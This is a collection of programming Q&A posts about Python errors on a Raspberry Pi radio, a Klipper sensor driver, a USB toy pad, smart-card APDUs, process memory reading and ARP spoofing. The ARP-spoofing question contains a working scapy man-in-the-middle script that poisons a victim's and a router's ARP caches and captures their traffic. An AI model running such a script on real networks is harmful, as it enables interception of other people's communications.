List index out of range on Raspberry Pi - python

I'm getting the 'List index out of range' error when trying to get my NRF24L01 module working on Raspberry Pi 3b+. The code is written in python and I just can't seem to notice the error.
import RPi.GPIO as GPIO
from lib_nrf24 import NRF24
import time
import spidev
GPIO.setmode(GPIO.BCM)
pipes = [[0xE8, 0xE8, 0xF0, 0xF0, 0xE1], [0xF0, 0xF0, 0xF0, 0xF0, 0xE1]]
radio = NRF24 (GPIO, spidev.SpiDev())
radio.begin(0, 17)
radio.setPayloadSize (32)
radio.setChannel(0x76)
radio.setDataRate(NRF24.BR_1MBPS)
radio.setPALevel(NRF24.PA_MIN)
radio.setAutoAck(True)
radio.enableDynamicPayloads()
radio.enableAckPayload()
radio.openReadingPipe(1, pipes[1])
radio.printDetails()
radio.startListening()
while True :
while not radio.available(0):
time.sleep(1/100)
a = []
b = []
receivedMessage = []
radio.read(receivedMessage, radio.getDynamicPayloadSize())
a = receivedMessage[0]
b = receivedMessage[1]
print( "Temperature:" , a, "Humidity:" , b )
The error appears on lines a = receivedMessage[0] and b = receivedMessage[1].
Would love some fresh look and advices on how to fix this.
Traceback:
Traceback (most recent call last):
File "/home/pi/Desktop/NRF24L01/VEIIIK.py", line 34, in <module>
a = receivedMessage[0]
IndexError: list index out of range
UPDATE
Using the line print(radio.read(receivedMessage, radio.getDynamicPayloadSize())) gives the ouptut:
0
1
1
1
1
1
1
1
1
1
1
While the line print(receivedMessage) outputs [].

Why don't you do:
if(receivedMessage):
a = receivedMessage[0]
b = receivedMessage[1]
print( "Temperature:" , a, "Humidity:" , b )
This might solve the problem.

Related

Overflow while using ReadWriteMemory

I'm trying to fetch information from a hex editor. But ReadWriteMemory gives me an error about "<class 'OverflowError'>: int too long to convert"
Here is my code:
from ReadWriteMemory import ReadWriteMemory
base_address = 0x7FF6D60A0000
static_address_offset = 0x0074DE40
pointer_static_address = base_address + static_address_offset
offsets = [0x08, 0x08, 0xB0, 0x08, 0x278, 0x10, 0xD0]
rmw = ReadWriteMemory()
process = rmw.get_process_by_name('010Editor.exe')
process.open()
pointer = process.get_pointer(pointer_static_address, offsets=offsets)
pointer_value = process.read(pointer)
print(pointer_value)
How can I solve this?
I fixed it using 'pymem', So it appears that ReadWriteMemory can't handle 64bit applications.
from pymem import *
from pymem.process import *
pm = Pymem('010Editor.exe')
def GetByteNumber():
def GetPtrAddr(base, offsets):
addr = pm.read_longlong(base)
for i in offsets:
if i != offsets[-1]:
addr = pm.read_longlong(addr + i)
return addr + offsets[-1]
return pm.read_int(GetPtrAddr(pm.base_address + 0x0074DE40, offsets=[0x8, 0x8, 0x60, 0x8, 0x10, 0xB0, 0xD0]))

Internal error during connect: MLM75 instance has no attribute 'i2c'

I got an issue with this driver:
LM75_CHIP_ADDR = 0x48
LM75_I2C_SPEED = 100000
LM75_REGS = {
'TEMP' : 0x00,
'CONF' : 0x01,
'THYST' : 0x02,
'TOS' : 0x03,
'PRODID' : 0x07 # TI LM75A chips only?
}
LM75_REPORT_TIME = .8
# Temperature can be sampled at any time but the read aborts
# the current conversion. Conversion time is 300ms so make
# sure not to read too often.
LM75_MIN_REPORT_TIME = .5
class MLM75:
def __init__(self, config):
self.printer = config.get_printer()
self.name = config.get_name().split()[-1]
self.reactor = self.printer.get_reactor()
self.i2c_sen = bus.MCU_I2C_from_config(config, LM75_CHIP_ADDR,
LM75_I2C_SPEED)
self.mcu = self.i2c_sen.get_mcu()
self.report_time = config.getfloat('lm75_report_time',LM75_REPORT_TIME, minval=LM75_MIN_REPORT_TIME)
self.temp = self.min_temp = self.max_temp = 0.0
self.sample_timer = self.reactor.register_timer(self._sample_mlm75)
self.printer.add_object("mlm75 " + self.name, self)
self.printer.register_event_handler("klippy:connect",
self.handle_connect)
############# MUX HANDLER ############
self.gcode = self.printer.lookup_object('gcode')
self.mux = self.printer.load_object(config, "PCA9545A %s" % (self.name,))
self.mux.init_route = config.getint( "mux_ch", 0, minval=0, maxval=3 )
self.mux.address = config.getint( "mux_i2c_address", 112 )
self.mux.change_i2c_addr( self.mux.address )
# _mux_iic_addr = self.mux.get_info()[0]
# _mux_out_chan = self.mux.get_info()[1]
# self.gcode.respond_info('sensor: '+self.name+ '\n' +
# ' addr:'+str(_mux_iic_addr)+
# ' chan:'+str(_mux_out_chan))
self.mux_channel = 0
############# MUX HANDLER ############
def handle_connect(self):
self._init_mlm75()
self.reactor.update_timer(self.sample_timer, self.reactor.NOW)
def setup_minmax(self, min_temp, max_temp):
self.min_temp = min_temp
self.max_temp = max_temp
def setup_callback(self, cb):
self._callback = cb
def get_report_time_delta(self):
return self.report_time
def degrees_from_sample(self, x):
# The temp sample is encoded in the top 9 bits of a 16-bit
# value. Resolution is 0.5 degrees C.
return x[0] + (x[1] >> 7) * 0.5
def _init_mlm75(self):
# Check and report the chip ID but ignore errors since many
# chips don't have it
try:
prodid = self.read_register('PRODID', 1)[0]
logging.info("mlm75: Chip ID %#x" % prodid)
except:
pass
def _sample_mlm75(self, eventtime):
# self.gcode.respond_info( str(self.i) )
self.mux_channel += 1
self.mux_channel %= 4
self.mux.route( self.mux_channel ) # <<<<
# self.gcode.respond_info('mx c:'+str(self.mux.get_info()[1])) # <<<<
try:
sample = self.read_register('TEMP', 2)
self.temp = self.degrees_from_sample(sample)
except Exception:
logging.exception("mlm75: Error reading data")
self.temp = 0.0
return self.reactor.NEVER
if self.temp < self.min_temp or self.temp > self.max_temp:
self.printer.invoke_shutdown(
"MLM75 temperature %0.1f outside range of %0.1f:%.01f"
% (self.temp, self.min_temp, self.max_temp))
measured_time = self.reactor.monotonic()
self._callback(self.mcu.estimated_print_time(measured_time), self.temp)
return measured_time + self.report_time
def read_register(self, reg_name, read_len):
# read a single register
regs = [LM75_REGS[reg_name]]
params = self.i2c_sen.i2c_read(regs, read_len)
return bytearray(params['response'])
def write_register(self, reg_name, data):
if type(data) is not list:
data = [data]
reg = LM75_REGS[reg_name]
data.insert(0, reg)
self.i2c_sen.i2c_write(data)
def get_status(self, eventtime):
return {
'temperature': round(self.temp, 2),
}
def load_config(config):
# Register sensor
pheaters = config.get_printer().load_object(config, "heaters")
pheaters.add_sensor_factory("MLM75", MLM75)
This code is supposed to read, write and change the address of a MUX. For some reason I can't read part of the sensors.
That's the log:
mcu 'mcu': Starting serial connect
Loaded MCU 'mcu' 100 commands (v0.10.0-388-gd9daeb08-dirty-20220429_121230-raspberrypi / gcc: (GCC) 5.4.0 binutils: (GNU Binutils) 2.26.20160125)
MCU 'mcu' config: BUS_PINS_spi=PB3,PB2,PB1 PWM_MAX=255 CLOCK_FREQ=16000000 BUS_PINS_twi=PD0,PD1 MCU=atmega32u4 ADC_MAX=1023 STATS_SUMSQ_BASE=256
mcu 'mcu': got {u'count': 229, '#receive_time': 3173.116210849, u'sum': 315145, u'sumsq': 3550500, '#name': u'stats', '#sent_time': 3173.115847275}
Configured MCU 'mcu' (165 moves)
lm75: Chip ID 0x1e
Starting heater checks for plateHeater1
lm75: Chip ID 0x22
Starting heater checks for plateHeater2
Starting heater checks for blockHeater1
Starting heater checks for blockHeater2
mlm75: Error reading data
Traceback (most recent call last):
File "/home/heater/klipper/klippy/extras/mlm75.py", line 104, in _sample_mlm75
sample = self.read_register('TEMP', 2)
File "/home/heater/klipper/klippy/extras/mlm75.py", line 123, in read_register
params = self.i2c.i2c_read(regs, read_len) #dobaveno ot lm75.py
AttributeError: MLM75 instance has no attribute 'i2c'
mlm75: Error reading data
Traceback (most recent call last):
File "/home/heater/klipper/klippy/extras/mlm75.py", line 104, in _sample_mlm75
sample = self.read_register('TEMP', 2)
File "/home/heater/klipper/klippy/extras/mlm75.py", line 123, in read_register
params = self.i2c.i2c_read(regs, read_len) #dobaveno ot lm75.py
AttributeError: MLM75 instance has no attribute 'i2c'
I am trying to figure this thing out for 2 weeks now and my hair is starting to fall. Can someone tell me what I do wrong?
Thanks for the help

I wrote this python program and it keeps giving me errors

I wrote this and it keeps giving me errors:
import usb.util
from time import sleep
TOYPAD_INIT = [0x55, 0x0f, 0xb0, 0x01, 0x28, 0x63, 0x29, 0x20, 0x4c, 0x45, 0x47, 0x4f, 0x20, 0x32, 0x30, 0x31, 0x34, 0xf7, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00]
OFF = [0,0,0]
RED = [255,0,0]
GREEN = [0,255,0]
BLUE = [0,0,255]
ALL_PADS = 0
CENTER_PAD = 1
LEFT_PAD = 2
RIGHT_PAD = 3
# Actions
TAG_INSERTED = 0
TAG_REMOVED = 1
# UIDs can be retrieved with Android App (most probably in hexadecimal)
uidDarthVader = (4, 161, 158, 210, 227, 64 , 128) # Darth Vader from Disney Infinity 3.0
def init_usb():
global dev
dev = usb.core.find(idVendor=0x0e6f, idProduct=0x0241)
if dev is None:
print('Device not found')
else:
if dev.is_kernel_driver_active(0):
dev.detach_kernel_driver(0)
print(usb.util.get_string(dev, dev.iProduct))
dev.set_configuration()
dev.write(1,TOYPAD_INIT)
return dev
def send_command(dev,command):
# calculate checksum
checksum = 0
for word in command:
checksum = checksum + word
if checksum >= 256:
checksum -= 256
message = command+[checksum]
# pad message
while(len(message) < 32):
message.append(0x00)
# send message
dev.write(1, message)
return
def switch_pad(pad, colour):
send_command(dev,[0x55, 0x06, 0xc0, 0x02, pad, colour[0], colour[1], colour[2],])
return
def uid_compare(uid1, uid2):
match = True
for i in range(0,7):
if (uid1[i] != uid2[i]) :
match = False
return match
def main():
init_usb()
if dev != None :
while True:
try:
in_packet = dev.read(0x81, 32, timeout = 10)
bytelist = list(in_packet)
if not bytelist:
pass
elif bytelist[0] != 0x56: # NFC packets start with 0x56
pass
else:
pad_num = bytelist[2]
uid_bytes = bytelist[6:13]
match = uid_compare(uid_bytes, uidDarthVader)
action = bytelist[5]
if action == TAG_INSERTED :
if match:
# Darth Vader
switch_pad(pad_num, RED)
else:
# some other tag
switch_pad(pad_num, GREEN)
else:
# some tag removed
switch_pad(pad_num, OFF)
except(usb.USBError, err):
pass
switch_pad(ALL_PADS,OFF)
return
if __name__ == '__main__':
main()
and get one of two errors:
NameError: name 'err' is not defined
or
except usb.USBError, err:
^
SyntaxError: invalid syntax
why is that? My goal is to use this for a piece of tech i'm developing. i have tried looking on the web found nothing and tried reformatting the code still didn't work, finally i tried to use the code formatting assistant and it still didn't help.
Your error is a result of the variable err being undefined.
Here I can replicate the error:
In [7]: try:
...: raise SyntaxError
...: except(SyntaxError, err):
...: print("Error message")
...:
---------------------------------------------------------------------------
SyntaxError Traceback (most recent call last)
<ipython-input-7-7c18a68f8815> in <module>
1 try:
----> 2 raise SyntaxError
3 except(SyntaxError, err):
SyntaxError: None
During handling of the above exception, another exception occurred:
NameError Traceback (most recent call last)
<ipython-input-7-7c18a68f8815> in <module>
1 try:
2 raise SyntaxError
----> 3 except(SyntaxError, err):
4 print("Error message")
5
NameError: name 'err' is not defined
Instead, try removing the err, your except line should read
except(SyntaxError):
You should also know that the github repo where you got the code that you copy-pasted is in python 2, so that is likely why you are seeing this error.
Here is a link to the source, I've taken the liberty of fixing the syntax highlighting.

ValueError: need more than 0 values to unpack (Error with my ARP spoofing program)

I've recently been studying ARP and ARP spoofing. I ran into the following error with an ARP spoof script I wrote in python:
OSError: expression rejects all packets
Possibly important information:
I'm running OS X El Capitan 10.11.5.
The script works only whilst using python-2.x.
Here's my code:
import os
import sys
from scapy.all import *
interface = raw_input("interface: \n")
victimIP = raw_input("victim: \n")
routerIP = raw_input("router: \n")
def MACsnag(IP):
ans, unans = arping(IP)
for s, r in ans:
return r[Ether].src
def spoof(routerIP, victimIP):
victimMAC = MACsnag(victimIP)
routerMAC = MACsnag(routerIP)
send(ARP(op = 2, pdst = victimIP, psrc = routerIP, hwdst =
victimMAC))
send(ARP(op = 2, pdst = routerIP, psrc = victimIP, hwdst =
routerMAC))
def restore(routerIP, victimIP):
victimMAC = MACsnag(victimIP)
routerMAC = MACsnag(routerIP)
send(ARP(op = 2, pdst = routerIP, psrc = victimIP, hwdst =
"ff:ff:ff:ff:ff:ff", hwsrc = victimMAC), count = 4)
send(ARP(op = 2, pdst = victimIP, psrc = routerIP, hwdst =
"ff:ff:ff:ff:ff:ff", hwsrc = routerMAC), count = 4)
def sniffer():
pkts = sniff(iface = interface, count = 10, prn = lambda
x:x.sprintf(" Source: %IP.src% : %Ether.src%, \n %Raw.load% \n\n
Reciever: %IP.dst% \n
+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+\n"))
wrpcap("temp.pcap", pkts)
def middleman():
os.system("sysctl -w net.inet.ip.forwarding=1")
while 1:
try:
spoof(routerIP, victimIP)
time.sleep(1)
sniffer()
except KeyboardInterrupt:
restore(routerIP, victimIP)
os.system("sysctl -w net.inet.ip.forwarding=0")
if __name__ == "__main__":
middleman()
Here's the full stack trace:
Received 0 packets, got 0 answers, remaining 1 packets
Traceback (most recent call last):
File "snoopy.py", line 56, in <module>
middleman()
File "snoopy.py", line 46, in middleman
spoof(routerIP, victimIP)
File "snoopy.py", line 21, in spoof
victimMAC = MACsnag(victimIP)
File "snoopy.py", line 15, in MACsnag
for s, r in ans:
ValueError: need more than 0 values to unpack

Weird behavior in Python in array initialization

In the following you see a snippet of my Python program that I wrote to send APDU commands to smart cards. I used PySCard library in this program.
First Program :
for LOAD_KEY in validLoadCommands:
data,sw1,sw2 =connection.transmit(LOAD_KEY)
temp = LOAD_KEY
x= temp[3]
for j in range(0,len(LOAD_KEY)):
LOAD_KEY[j]=hex(LOAD_KEY[j])
print ' >>>',' Load Command :',
for j in range(0,len(LOAD_KEY)):
LOAD_KEY[j]=str(LOAD_KEY[j])
if len(LOAD_KEY[j])==3:
LOAD_KEY[j]=LOAD_KEY[j][0:2]+'0'+LOAD_KEY[j][2]
print LOAD_KEY[j],
print
for j in range(0,len(data)):
data[j]=hex(data[j])
print ' <<<',' Data :',
for j in range(0,len(data)):
data[j]=str(data[j])
if len(data[j])==3:
data[j]=data[j][0:2]+'0'+data[j][2]
print data[j],
print '--',hex(sw1),hex(sw2)
if (temp[2] == 0x00 or temp[2] == 0x20):
keyType = 0x60
else:
keyType = 0x61
AUTH = [0xFF, 0x86, 0x00, 0x00, 0x05, 0x01, 0x00, blockNum, keyType,temp[3]]
print 'AUTH Command: ', AUTH
data,sw1,sw2 =connection.transmit(AUTH)
print data, sw1, sw2
And its output :
Auth Command: [255, 134, 0, 0, 5, 1, 0, 4, 97, '0x0e']
Traceback (most recent call last):
File "C:\Users\Erb4h1m\Desktop\Faraadis Alborz Card Reader\CRT-603-CZ1_Read1Block.py", line 199, in <module>
data,sw1,sw2 =connection.transmit(AUTH)
File "D:\Software\Python27\lib\site-packages\smartcard\CardConnectionDecorator.py", line 82, in transmit
return self.component.transmit(bytes, protocol)
File "D:\Software\Python27\lib\site-packages\smartcard\CardConnection.py", line 140, in transmit
data, sw1, sw2 = self.doTransmit(bytes, protocol)
File "D:\Software\Python27\lib\site-packages\smartcard\pcsc\PCSCCardConnection.py", line 173, in doTransmit
hresult, response = SCardTransmit(self.hcard, pcscprotocolheader, bytes)
File "D:\Software\Python27\lib\site-packages\smartcard\scard\scard.py", line 1329, in SCardTransmit
return _scard.SCardTransmit(*args)
TypeError: Expected a list of bytes.
And when I replace temp[3] with x:
for LOAD_KEY in validLoadCommands:
data,sw1,sw2 =connection.transmit(LOAD_KEY)
temp = LOAD_KEY
x= temp[3]
for j in range(0,len(LOAD_KEY)):
LOAD_KEY[j]=hex(LOAD_KEY[j])
print ' >>>',' Load Command :',
for j in range(0,len(LOAD_KEY)):
LOAD_KEY[j]=str(LOAD_KEY[j])
if len(LOAD_KEY[j])==3:
LOAD_KEY[j]=LOAD_KEY[j][0:2]+'0'+LOAD_KEY[j][2]
print LOAD_KEY[j],
print
for j in range(0,len(data)):
data[j]=hex(data[j])
print ' <<<',' Data :',
for j in range(0,len(data)):
data[j]=str(data[j])
if len(data[j])==3:
data[j]=data[j][0:2]+'0'+data[j][2]
print data[j],
print '--',hex(sw1),hex(sw2)
if (temp[2] == 0x00 or temp[2] == 0x20):
keyType = 0x60
else:
keyType = 0x61
AUTH = [0xFF, 0x86, 0x00, 0x00, 0x05, 0x01, 0x00, blockNum, keyType, x]
print 'AUTH Command: ', AUTH
data,sw1,sw2 =connection.transmit(AUTH)
print data, sw1, sw2
Then the output is:
AUTH: [255, 134, 0, 0, 5, 1, 0, 4, 97, 14]
[] 144 0
As you see above, in the second case I DON'T receive any error, while there is no difference between first program and second program! I only replaced
AUTH = [0xFF, 0x86, 0x00, 0x00, 0x05, 0x01, 0x00, blockNum, keyType,temp[3]]
with:
AUTH = [0xFF, 0x86, 0x00, 0x00, 0x05, 0x01, 0x00, blockNum, keyType,x]
and x is initialized with temp[3] in the top of program. neither x nor temp[3] didn't changed between the line of initialization and the line of error.
What is going here?
Your temp variable reference LOAD_KEY (Line 3: temp = LOAD_KEY)
When x= temp[3] get called, it's the value of LOAD_KEY at index 3 right after your connection.transmit that is set.
When you are sending temp[3] for your AUTH, LOAD_KEY have changed and so does temp[3]. So it's not anymore the same value as x.
connection.transmit => LOAD_KEY is set => temp => [3] => x
*** LOAD_KEY changes ***
x => old value of temp[3] aka LOAD_KEY[3]
temp[3] => whatever your code have put in it
Edit: short example
>>> LOAD_KEY = ['one', 'two', 'three', 'four']
>>> temp = LOAD_KEY
>>> x = temp[3]
>>> LOAD_KEY[3] = 'new value'
>>>
>>> LOAD_KEY[3]
'new value'
>>> temp[3]
'new value'
>>> x
'four'
In you first example, temp[3] is a string ('0x0e').
In your second example, x is an integer (14).
This is because you're converting the integer values of the LOAD_KEY list to an hexadecimal string with the following line:
LOAD_KEY[j] = hex(LOAD_KEY[j])
In order to convert a string in hexadecimal representation to an integer, use the second argument of the built-in type int to set the base to 16:
>>> int('0x0e', 16)
14

Categories

Resources